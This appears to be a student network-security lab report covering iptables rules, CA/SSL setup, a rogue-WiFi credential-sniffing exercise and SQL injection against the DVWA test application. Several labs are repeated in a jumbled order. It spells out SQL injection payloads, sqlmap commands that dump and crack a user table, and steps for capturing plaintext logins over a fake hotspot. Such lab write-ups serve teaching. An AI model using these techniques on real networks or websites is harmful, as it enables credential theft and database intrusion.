192.168.1.11-j REJECT 2.隱含(implicit)條件匹配(需要指定的協(xié)議匹配為前提,其對應的功能由iptables自動(隱含)的裝載入內(nèi)核),如果無匹配條件,默認為REJECT。 端口匹配 僅允許系統(tǒng)管理員從202.13.0.0/16網(wǎng)段使用SSH方式遠程登錄防火墻主機 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT 五.在進行了上述規(guī)則講解與熟悉之后,接下來的步驟進行防火墻規(guī)則配置與測試 禁止Windows主機ping防火墻linux主機,但是允許從防火墻上ping其他主機(允許接受ICMP回應數(shù)據(jù)) 1.配置linux防火墻主機ip地址,如下圖所示: 2.配置windows 主機ip地址,如下圖所示: 3.配置linux 主機防火墻規(guī)則,如下圖所示: 4.在此在windows 主機和linux 主機上進行相互ping 測試,測試結果如下圖所示: windows主機無法ping通linux防火墻主機,但是linux主機可以ping通windows主機。 實驗截圖 如上所示,重要的步驟截圖已置于相應步驟下。 實驗心得 1)如何在linux 主機上配置防火墻規(guī)則以防止DDOS 高級? 答:默認的iptables規(guī)則是無法過濾DDOS攻擊數(shù)據(jù)的,我們需要添加過濾規(guī)則實現(xiàn)iptables擁有抗DDOS的能力: 屏蔽 SYN_RECV 的連接 -A FORWARD-p tcp-m tcp--tcp-flags FIN,SYN,RST,ACK SYN-m limit--limit 1/sec-j ACCEPT 限制IP碎片,每秒鐘只允許100個碎片,用來防止DoS攻擊-A FORWARD-f-m limit--limit 100/sec--limit-burst 100-j ACCEPT 限制ping包每秒一個,10個后重新開始 -A FORWARD-p icmp-m limit--limit 1/sec--limit-burst 10-j ACCEPT 限制ICMP包回應請求每秒一個 -A FORWARD-p icmp-m icmp--icmp-type 8-m limit--limit 1/sec-j ACCEPT 此處自定義一個表 -A FORWARD-j RH-Firewall-1-INPUT 完全接受 loopback interface 的封包-A RH-Firewall-1-INPUT-i lo-j ACCEPT 允許主機接受 ping-A RH-Firewall-1-INPUT-p icmp-m icmp--icmp-type any-j ACCEPT 允許連線出去后對方主機回應進來的封包 22-A RH-Firewall-1-INPUT-m state--state RELATED,ESTABLISHED-j ACCEPT 允許防火墻開啟指定端口 -A RH-Firewall-1-INPUT-p tcp-m state--state NEW-m tcp--dport port-j ACCEPT 限制SSH登陸 只允許在***.***.***.***上使用ssh遠程登錄,從其它計算機上禁止使用ssh iptables-A INPUT-s ***.***.***.***-p tcp--dport 22-j ACCEPT iptables-A INPUT-p tcp--dport 22-j DROP 2)linux 主機防火墻處理數(shù)據(jù)包的順序是什么? 答:(1)當包到達端口時,對包報頭進行語法分析。大多數(shù)包過濾設備只檢查IP、TCP、或UDP報頭中的字段。 (2)若一條規(guī)則阻止包傳輸或接收,則此包便不被允許。 (3)若一條規(guī)則允許包傳輸或接收,則此包便可以被繼續(xù)處理。(4)若包不滿足任何一條規(guī)則,則此包便被阻塞。 實驗三WIFI 釣魚 步驟一 共享WIFI 工具:電腦、WIN7 系統(tǒng)、無線網(wǎng)卡 步驟 1.開始菜單-->命令提示符(cmd)-->右鍵,以管理員身份運行 2.運行以下命令啟用虛擬網(wǎng)卡 >netsh wlan set hostednetwork mode=allow ssid=(這里寫無線網(wǎng)名字)key=(這里是密碼) 3.網(wǎng)絡共享中心-->更改高級適配器設置-->右鍵已連接到Internet 的網(wǎng)絡連接-->屬性-->切換 到“共享”選項卡,選中其中的復選框,并選擇允許其共享Internet 的網(wǎng)絡連接,這里即我 們的虛擬WIFI 網(wǎng)卡 4.開啟無線網(wǎng)絡,繼續(xù)在命令提示符中運行以下命令: >netsh wlan start hostednetwork 24 即可開啟我們之前設置好的無線網(wǎng)絡(相當于打開路由器的無線功能) 步驟二 WIFI 釣魚 工具:其他筆記本或手機、Wareshark 步驟 1.搜索到剛剛設置的WIFI,連接上(密碼為剛剛設置的key:12345679) 2.在筆記本上打開wareshark,選擇capture-->interfaces 3.選擇Packets 最多的項,點擊start 按鈕 4.在手機或筆記本上打開中南大學郵箱網(wǎng)站:http://mail.csu.edu.cn/,在主機上用wareshark 捕捉 http 的包 (這里大家可以自由實驗,能監(jiān)控到連接到該WIFI 的機器的所有包的情況)5.在手機或筆記本上輸入用戶名和密碼,點擊登錄 6.在主機上用wareshark 捕捉到剛剛post 提交的http 包,右鍵選擇Follow tcp stream 7.可以看到剛剛提交的用戶名和密碼,且是未經(jīng)過加密的 實驗截圖 如上所示,重要的步驟截圖已置于相應步驟下。 實驗心得 本次實驗是在自己的筆記本上做的,實驗也比較簡單,所以做得比較快效果比較好。通過本次實驗,大致了解了WIFI釣魚的操作過程,同時,也讓自己有了警覺之心,要養(yǎng)成良好的WIFI使用習慣。手機會把使用過的WIFI熱點都記錄下來,如果WiFi開關處于打開狀態(tài),手機就會不斷向周邊進行搜尋,一旦遇到同名的熱點就會自動進行連接,存在被釣魚風險。因此當我們進入公共區(qū)域后,盡量不要打開WIFI開關,或者把WiFi調(diào)成鎖屏后不再自動連接,避免在自己不知道的情況下連接上惡意WIFI。 實驗四 SQL注入攻擊 【實驗目的】 SQL注入攻擊指的是通過構建特殊的輸入作為參數(shù)傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進而執(zhí)行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。根據(jù)相關技術原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫配置或數(shù)據(jù)庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細致地過濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。 本次實驗目的是了解sql注入的常見手段,要到兩個工具: ①dvwa(Dam Vulnerable Web Application)是用PHP+Mysql編寫的一套用于常規(guī)WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。 ② sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞。 【實驗組網(wǎng)拓撲】 VM Client VM Server 【實驗一:dvwa手動sql注入】 1、連接好虛擬機拓撲圖,配置WindowsXP Client和Windows XP Server的IP使其在同一個局域網(wǎng)網(wǎng)段。 2、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password。 3、選擇SQLInjection,點擊右下角的ViewSource,查看PHP源代碼。 4、正常測試,輸入“1”,得到正常結果,如下所示。 5、當將輸入變?yōu)椤?”時,頁面提示錯誤“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,結果如圖。看到這個結果,可以知道,這個表單存在著注入漏洞。 6、嘗試輸入:“1’or 1=1–”注意“--”后面有空格!此時成功進行sql注入。 7、測試查詢信息列數(shù)。利用語句order by num。這里輸入“ 1'order by 1--” 結果頁面正常顯示,注意--后面有空格。繼續(xù)測試,“ 1'order by 2--”,“ 1'order by 3--”,當輸入3是,頁面報錯。頁面錯誤信息如下,Unknown column '3' in 'order clause',由此查詢結果值為2列。 8、嘗試注入“1' and 1=2 union select 1,2--”,從而得出First name處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,利用內(nèi)置函數(shù)user(),及database(),version()注入得出連接數(shù)據(jù)庫用戶以及數(shù)據(jù)庫名稱:“1' and 1=2 union select user(),database()--”。 9、選擇DVWA Security,將安全級別分別設置為中、高。再運行上面的實驗sql語句,結合右下角的ViewSource,分析三種等級的代碼和sql注入效果有何區(qū)別。在安全級別分別設置為低時,結合PHP源代碼,考慮不采用“--”的情形下,完成sql注入,寫出sql注入語句。 【實驗二:sqlmap測試dvwa】 1、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“169.254.180.158/dvwa”,登陸賬戶為admin,密碼為password。選擇DVWA Security,將安全級別分別設置為低。 2、選擇XSS reflected,輸入“ 3、使用sqlmap查找注入點,打開Client端的控制臺窗口,轉到目錄“C:Python27sqlmap”,輸入以下命令,注意!“169.254.180.158”表示Server的IP,“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”表示上一步所獲得的cookie值,請同學們按照實際環(huán)境 33 填寫相應的值!“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5””。 依據(jù)以下信息,得到可能的注入點是id,數(shù)據(jù)庫是mysql。 [INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable 4、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db”得到當前數(shù)據(jù)庫名。 current database: 'dvwa' 5、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db--tables-Ddvwa”得到數(shù)據(jù)庫所有表。 6、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--columns”得到user表的所有列。 7、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--dump”得到user表的所有列,在sqlmap詢問時候破解密碼時,選擇是,sqlmap會使用自己的字典來破解密碼,得到5個用戶的密碼。此時就完成了利用sqlmap進行“拖庫”的基本步驟。 實驗截圖 如上所示,重要的步驟截圖已置于相應步驟下。 實驗心得 隨著B/S模式應用開發(fā)的發(fā)展,使用這種模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經(jīng)驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。 此次的實驗讓我了解了SQL注入攻擊的原理和過程,讓我了解到了做這方面開發(fā)的時候需要注意的安全性問題,也意識到安全的重要性和數(shù)據(jù)庫的一些欠缺,提高了自己在這方面的安全意識。在實驗的過程中遇到了很多困難,配置上的,環(huán)境上的,還有一些需要注意的小問題。很高興順利完成了這次實驗,期待下次能使用更高級的工具進行掃描和實施攻擊,當然,以后的開發(fā)過程中也要特別注意這些脆弱點了。 學生姓名指導教師學 院專業(yè)班級學 號完成時間中南大學 網(wǎng)絡安全 實驗報告 代巍 張士庚 信息科學與工程學院 信安1201班 0909121615 年12月15日 2014 目錄 實驗一 CA證書與SSL連接 實驗二 WIFI釣魚 實驗三 SQL注入攻擊 實驗四 配置和管理主機防火墻 實驗一 CA證書與SSL連接 一.實驗目的 通過申請、安裝數(shù)字證書,掌握使用SSL建立安全通信通道的方法。掌握在Windows Server 2003 下獨立根CA 的安裝和使用。使用WEB 方式申請證書和安裝證書。建立SSL 網(wǎng)站。 分析SSL 網(wǎng)站的數(shù)據(jù)包特點。二.實驗原理 SSL協(xié)議的工作原理、數(shù)字證書的原理 在訪問Web 站點時,如果沒有較強的安全措施,用戶訪問的數(shù)據(jù)是可以使用網(wǎng)絡工具 捕獲并分析出來的。在Web 站點的身份驗證中,有一種基本身份驗證,要求用戶訪問輸入 用戶名和密碼時,是以明文形式發(fā)送密碼的,蓄意破壞安全性的人可以使用協(xié)議分析程序破 譯出用戶名和密碼。那我們該如果避免呢?可利用SSL 通信協(xié)議,在Web 服務器上啟用安 全通道以實現(xiàn)高安全性。 SSL 協(xié)議位于TCP/IP 協(xié)議與各種應用層協(xié)議之間,為數(shù)據(jù)通訊提供安全支持。SSL 協(xié) 議可分為兩層: SSL 記錄協(xié)議(SSL Record Protocol):它建立在可靠的傳輸協(xié)議(如TCP) 之上,為高層協(xié)議提供數(shù)據(jù)封裝、壓縮、加密等基本功能的支持。SSL 握手協(xié)議(SSL Handshake Protocol):它建立在SSL 記錄協(xié)議之上,用于在實際的數(shù)據(jù)傳輸開始前,通訊雙 方進行身份認證、協(xié)商加密算法、交換加密密鑰等。每一個Windows Server 2003 證書頒發(fā) 機構都有可供用戶和管理員使用的網(wǎng)頁。三.實驗環(huán)境 虛擬機:Windows Server 2003,Windows XP,Wireshark 抓包軟件。四.實驗過程 任務一:windows server 2003 環(huán)境下獨立根CA 的安裝及使用 1、windows server 2003 環(huán)境下獨立根CA 的安裝及使用,啟動Windows Server 2003 和Windows XP,配臵其IP,使其在同一局域網(wǎng)網(wǎng)段。在Windows Server 2003 中,選擇【開始】|【控制面板】|【添加和刪除程序】,在彈出窗口中選擇【添加和刪除windows 組件】,在【組件】列表框中選擇【證書服務】,再單擊【下一步】按鈕,如下圖所示。 2、在彈出的窗口中選擇【獨立根CA】單選按鈕,單擊【下一步】按鈕,在彈出窗口中按要求依次填入CA 所要求的信息,單擊【下一步】按鈕,如下圖所示。 3、繼續(xù)選擇【證書數(shù)據(jù)庫】、【數(shù)據(jù)庫日志】和配臵信息的安裝、存放路徑,如下圖所示,單擊【下一步】按鈕。安裝的時候,可能會彈出如下窗口,為了實驗方便,已經(jīng)把I386 文件夾復制到C:下,選擇【瀏覽】,選擇文件夾“C:I386”,點【確定】,完成安裝。 4、選擇【開始】|【程序】|【管理工具】,可以找到【證書頒發(fā)機構】,說明CA 的安裝已經(jīng)完成,如下圖所示。 5、從同一局域網(wǎng)中的另外一臺XP 開啟IE 瀏覽器,輸入http://windows2003 的IP/certsrv/,選中【申請一個證書】,如下圖所示,在彈出的頁面中選擇【web 瀏覽器證書】。 6、在彈出窗口中填寫用戶的身份信息,完成后進行【提交】。此種情況下,IE 瀏覽器采用 默認的加密算法生成公鑰對,私鑰保存在本地計算機中,公鑰和用戶身份信息按照標準的格式發(fā)給CA 服務器,如圖所示,單擊【是】,進入下一步。CA 服務器響應后,彈出證書申請成功頁面,如下圖所示。 7、在根CA 所在的計算機上,選擇【開始】|【程序】|【管理工具】|【證書頒發(fā)機構】,上面申請的證書便會出現(xiàn)在窗口右邊,選擇證書單擊右鍵,選擇【所有任務】|【頒發(fā)】,進行證書頒發(fā),如下圖所示。證書頒發(fā)后將從【掛起的申請】文件夾轉入【頒發(fā)的證書】文件夾中,表示證書頒發(fā)完成。 8、在申請證書的計算機上打開IE,輸入http://windows2003 的IP/certsrv/,進入證書申請頁面,選擇【查看掛起的證書申請狀態(tài)】,彈出的頁面中選擇一個已經(jīng)提交的證書申請,如下圖所示。選擇安裝此證書。 9、現(xiàn)在驗證此CA 系統(tǒng)頒發(fā)的新證書是否可信,為此需要安裝CA 系統(tǒng)的根證書,進入證書申請主頁面,選擇當前的CA 證書進行下載,并保存到合適路徑,如下圖所示。 10、下載完畢之后,在證書的保存目錄中查看證書信息,單擊【安裝證書】按鈕,進入證書導入向導,按照默認的配臵完成證書的導入,導入成功后,單擊【確定】按鈕,之后完成。 任務二:基于Web的SSL連接設臵 1、在XP 中,左下角【開始】,打開【W(wǎng)ireshark】,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網(wǎng)址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包結果1。 2、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口右鍵單擊【默認網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項。 3、在彈出窗口內(nèi)選擇【目錄安全性】標簽,單擊【安全通信】中的【服務器證書】按鈕,如下圖所示。 4、彈出【IIS 證書向導】窗口,選中【新建證書】復選項,一直單擊【下一步】按鈕,輸入自定義的名稱,如下圖所示。填寫相應的信息后,單擊【下一步】按鈕。 5、彈出【請求文件摘要】窗口,確認后單擊【下一步】按鈕,接著單擊【完成】按鈕,完成服務器端證書配臵,如下圖所示 6、打開IE 瀏覽器(windows2003 中的),進入證書申請主界面,如下圖所示。 7、在出現(xiàn)的網(wǎng)頁中選擇【高級證書申請】,如圖所示,在出現(xiàn)的網(wǎng)頁中單擊第二個選項【base64編碼】。打開剛才IIS 證書向導生成的請求文件,(默認路徑C:certreq.txt),復制并粘貼文件內(nèi)容到第一個文本框,如下圖所示,單擊【提交】按鈕,轉到完成提交后的頁面。 8、回到首頁,選擇【查看掛起的證書申請狀態(tài)】,彈出的頁面中選擇一個已經(jīng)提交的證書申請,如下圖所示。選擇【Base 64 編碼】,點擊【下載證書】,【保存】certnew.cer 文件到桌面。 9、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口右鍵單擊【默認網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項,在彈出窗口內(nèi)選擇【目錄安全性】標簽,選擇【服務器證書】,選擇【下一步】,【處理掛起的請求并安裝證書】選擇【下一步】,【瀏覽】選擇剛才保存的certnew.cer 文件,如下圖所示。【下一步】【下一步】【完成】。 10、還是在【目錄安全性】下,選擇【安全通信】下的【編輯】,在下如圖所示的彈出窗口中選中【要求安全通道(SSL)】復選項,并在【客戶端證書】欄中選中【接受客戶端證書】復選項,再單擊【確定】按鈕。返回【目錄安全性】面板,單擊【應用】按鈕及【確定】按鈕,完成配臵。 11、在XP 系統(tǒng)打開瀏覽器,輸入服務器IP 地址,進入證書申請主頁面,此時會顯示錯誤信息頁面,要求采用https 的方式連接服務器,如圖所示。 12、把http 改成https 繼續(xù)訪問,此時瀏覽器提示你要安裝證書,安裝完證書后,就可以正常使用了。、再次打開Wireshark,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網(wǎng)址https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓包結果2。 14、分析比較抓包結果1 和抓包結果2 中,對IP/?id=1 請求處理的差異。 五、實驗感想 至此,我完成了整個數(shù)字證書的安裝和使用實驗。通過本次實驗我學會了SSL協(xié)議的工作原理,同時了解到了CA證書的頒發(fā)機制。 任何一個安全性系統(tǒng)整體性設計,都離不開數(shù)字證書的加密,可以想象加密機制對信息安全的重要性。 需要說明的是,盡管SSL能提供實際不可破譯的加密功能,但是SSL安全機制的實現(xiàn)會大大增加系統(tǒng)的開銷,增加了服務器CPU的額外負擔,使得SSL加密傳輸?shù)乃俣却蟠蟮陀诜羌用軅鬏數(shù)乃俣取R虼耍瑸榱朔乐拐麄€Web網(wǎng)站的性能下降,可以考慮只把SSL安全機制用來處理高度機密的信息,例如提交包含信用卡信息的表格。 實驗二 WIFI釣魚 一.實驗目的 1、通過實際測試,模擬入侵者利用wifi抓包來竊取用戶數(shù)據(jù)的過程。掌握整個過程中的原理,數(shù)據(jù)分析等。 2、掌握抓包軟件的使用。二.實驗原理 在一個可控的網(wǎng)絡環(huán)境里,劫持數(shù)據(jù)有很多方法。比較有名的網(wǎng)絡層抓包工具有wireshark,tcpdump,都是很好的網(wǎng)絡協(xié)議分析工具。我們現(xiàn)在手機上的大多數(shù)APP應用層都是使用的HTTP協(xié)議,因此我們很多的在web安全測試里面用到的分析工具如fiddler,burp,httpanalyzer,Charles等也都是可以用來分析或者劫持APP的通信流。 用戶手機里的app默認會進行很多敏感的請求,手機會自動去登陸和獲取最新的信號;如果手機默認會鏈接周圍已經(jīng)被保存sid的wifi;通過內(nèi)臵最常見的sid和信息,入侵者可以使得周圍的人會自動鏈接上入侵者假設好的wifi,通過抓取相應的數(shù)據(jù)取得里面的敏感信息,理論上是可以劫持用戶的相關密碼信息的。三.實驗環(huán)境 帶有無線網(wǎng)卡的筆記本電腦,Wireshark 抓包軟件,智能手機。四.實驗過程 步驟一共享WIFI 工具:電腦、WIN7 系統(tǒng)、無線網(wǎng)卡 步驟 1.開始菜單-->命令提示符(cmd)-->右鍵,以管理員身份運行 2.運行以下命令啟用虛擬網(wǎng)卡>netsh wlan set hostednetwork mode=allow ssid=(這里寫無線網(wǎng)名字)key=(這里是密碼) 3.網(wǎng)絡共享中心-->更改高級適配器設臵-->右鍵已連接到Internet 的網(wǎng)絡連接-->屬性-->切換 到“共享”選項卡,選中其中的復選框,并選擇允許其共享Internet 的網(wǎng)絡連接,這里即我們的虛擬WIFI 網(wǎng)卡 4.開啟無線網(wǎng)絡,繼續(xù)在命令提示符中運行以下命令:>netsh wlan start hostednetwork即可開啟我們之前設臵好的無線網(wǎng)絡(相當于打開路由器的無線功能) 步驟二WIFI 釣魚工具:其他筆記本或手機、Wareshark 步驟 1.搜索到剛剛設臵的WIFI:dave,連接上(密碼為剛剛設臵的key:12345678)2.在筆記本上打開wareshark,選擇capture-->interfaces 3.選擇Packets 最多的項,點擊start 按鈕 4.在手機或筆記本上打開中南大學郵箱網(wǎng)站:http://mail.csu.edu.cn/,在主機上用wareshark 捕捉http 的包(這里大家可以自由實驗,能監(jiān)控到連接到該WIFI 的機器的所有包的情況) 5.在手機或筆記本上輸入用戶名和密碼,點擊登錄 6.在主機上用wareshark 捕捉到剛剛post 提交的http 包,右鍵選擇Follow tcp stream 7.可以看到剛剛提交的用戶名和密碼,且是未經(jīng)過加密的 五、實驗感想 通過這次實驗,我實際地模擬了一次入侵者通過假設釣魚WIFI網(wǎng)絡,來竊取連接此網(wǎng)絡的用戶的密碼信息過程。整個過程中我成功地完成了對各種用戶數(shù)據(jù)抓包,并分析出用戶密碼。 這讓我對wifi網(wǎng)絡產(chǎn)生了新的看法,我意識到了鏈接wifi網(wǎng)絡過程當中存在很多安全隱患,如果被圖謀不軌的人利用到,一旦泄露商業(yè)機密等重要信息,勢必會產(chǎn)生重大的經(jīng)濟損失。 隨著人們的生活越來越離不開網(wǎng)絡,也越來越離不開移動手機,一般的公共廠商都已經(jīng)將wifi作為基礎服務進行提供,譬如在星巴克、麥當勞等公共場所邊點杯熱飲邊“蹭網(wǎng)”,已經(jīng)是一個基本的習慣了,甚至一些大型的電信提供商已經(jīng)嘗試將wifi作為一個基礎的接入。如今公共的wifi很多,尤其是免費的,手機上還有幫助尋找免費wifi的各類app。很多人為了省流量,看到免費的wifi,總會去連接一下嘗試網(wǎng)上沖浪。不過,在這些免費的wifi以及大家使用wifi的習慣,加上手機及app的默認行為,就可以導致一些嚴重安全問題。 實驗三 SQL注入攻擊 一.實驗目的 是了解sql注入攻擊的原理,掌握網(wǎng)站的工作機制,認識到SQL注入攻擊的防范措施,加強對Web攻擊的防范。 二.實驗原理 SQL注入攻擊指的是通過構建特殊的輸入作為參數(shù)傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進而執(zhí)行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。 根據(jù)相關技術原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫配臵或數(shù)據(jù)庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細致地過濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。 三.實驗環(huán)境 虛擬機WindowsXP系統(tǒng)、Windows2003系統(tǒng)。dvwa(Dam Vulnerable Web Application)工具,sqlmap SQL注入工具、四.實驗過程 【實驗一:dvwa手動sql注入】 1、連接好虛擬機拓撲圖,配臵WindowsXP Client和Windows XP Server的IP使其在同一個局域網(wǎng)網(wǎng)段。 2、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password 3、選擇SQLInjection,點擊右下角的ViewSource,查看PHP源代碼。 4、正常測試,輸入“1”,得到正常結果,如下所示。 5、當將輸入變?yōu)椤?”時,頁面提示錯“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,結果如圖。看到這個結果,可以知道,這個表單存在著注入漏洞。 6、嘗試輸入:“1’or 1=1–”注意“--”后面有空格!此時成功進行sql注入。 7、測試查詢信息列數(shù)。利用語句order by num。這里輸入“ 1'order by 1--” 結果頁面正常顯示,注意--后面有空格。繼續(xù)測試,“ 1'order by 2--”,“ 1'order by 3--”,當輸入3是,頁面報錯。頁面錯誤信息如下,Unknown column '3' in 'order clause',由此查詢結果值為2列。 8、嘗試注入“1' and 1=2 union select 1,2--”,從而得出First name處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,利用內(nèi)臵函數(shù)user(),及database(),version()注入得出連接數(shù)據(jù)庫用戶以及數(shù)據(jù)庫名稱:“1' and 1=2 union select user(),database()--”。 9、選擇DVWA Security,將安全級別分別設臵為中、高。再運行上面的實驗sql語句,結合右下角的ViewSource,分析三種等級的代碼和sql注入效果有何區(qū)別。在安全級別分別設臵為低時,結合PHP源代碼,考慮不采用“--”的情形下,完成sql注入,寫出sql注入語句。 【實驗二:sqlmap測試dvwa】 1、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password。選擇DVWA Security,將安全級別分別設臵為低。 2、選擇XSS reflected,輸入“ 3、使用sqlmap查找注入點,打開Client端的控制臺窗口,轉到目錄“C:Python27sqlmap”,輸入以下命令,注意!“192.168.1.32”表示Server的IP,“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”表示上一步所獲得的cookie值,請同學們按照實際環(huán)境填寫相應的值!“sqlmap.py-u http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6””。 依據(jù)以下信息,得到可能的注入點是id,數(shù)據(jù)庫是mysql。 [INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL') [INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable 4、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db”得到當前數(shù)據(jù)庫名。 current database: 'dvwa' 5、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db--tables-Ddvwa”得到數(shù)據(jù)庫所有表。 6、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--columns”得到user表的所有列。 7、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--dump”得到user表的所有列,在sqlmap詢問時候破解密碼時,選擇是,sqlmap會使用自己的字典來破解密碼,得到5個用戶的密碼。此時就完成了利用sqlmap進行“拖庫”的基本步驟。五.實驗感想 通過實驗,我明白了帶有參數(shù)的動態(tài)網(wǎng)頁,很多都是沒有進行過濾的。如果能夠被SQL注入工具,就存在安全隱患,有可能就因為這個漏洞,入侵者就可以得到登錄權限并控制整個服務器。 從實驗可以看出,只要是帶有參數(shù)的動態(tài)網(wǎng)頁,且此網(wǎng)頁訪問了數(shù)據(jù)庫,就有可能存在SQL注入攻擊,因此SQL注入攻擊潛在的發(fā)生概率相對于其他Web攻擊要高很多,危害面也更廣。其主要危害包括:獲取系統(tǒng)控制權、未經(jīng)授權狀況下操作數(shù)據(jù)庫的數(shù)據(jù)、惡意篡改網(wǎng)頁內(nèi)容、私自添加系統(tǒng)帳號或數(shù)據(jù)庫使用者帳號等。 目前基于數(shù)據(jù)庫的網(wǎng)絡應用越來越多。與此同時,用于搜索SQL注入點的軟件在網(wǎng)絡上隨處可見,攻擊者只需要具備少量的專業(yè)知識就可以利用這些軟件尋找目標進行攻擊。攻擊目標和攻擊者的增加使得SQL注入攻擊在近幾年出現(xiàn)擴大的趨勢 為了防止SQL注入帶來的危害,在網(wǎng)站開發(fā)的過程中,需要對需要輸入?yún)?shù)的模塊進行過濾,并加入相關權限認證模塊。 實驗四 配置和管理主機防火墻 一.實驗目的 1.學習配臵和管理主機防火墻,介紹如何配臵linux 防火墻。2.掌握linux 下基本的iptables 知識,學會配臵iptables 二.實驗原理 對于Internet 上的系統(tǒng),不管是什么情況,首先我們要明確一點:網(wǎng)絡是不安全的。因此,雖然創(chuàng)建一個防火墻并不能保證系統(tǒng)100%安全,但卻是絕對必要的。和社會上其它任何事物一樣,Internet 經(jīng)常會受到一些無聊的或者別有用心的人的干擾,防火墻的目的就是將這類人擋在你的網(wǎng)絡之外,同時使你仍然可以完成自己的工作。因為不同的應用環(huán)境對安全的要求不一樣。用一句比較恰當而且簡單的話來回答這個問題:用戶了解自己的Linux 系統(tǒng)和設臵,并且可以很好地保護好自己的數(shù)據(jù)和機密文件的安全,這對于該計算機用戶來說就可以稱之為他的計算機有足夠的安全性。防火墻是一個或一組系統(tǒng),它在網(wǎng)絡之間執(zhí)行訪問控制策略。實現(xiàn)防火墻的實際方式各不相同,但是在原則上,防火墻可以被認為是這樣一對機制:一種機制是攔阻傳輸流通行,另一種機制是允許傳輸流通過。一些防火墻偏重攔阻傳輸流的通行,而另一些防火墻則偏重允許傳輸流通過。了解有關防火墻的最重要的概念可能就是它實現(xiàn)了一種訪問控制策略。 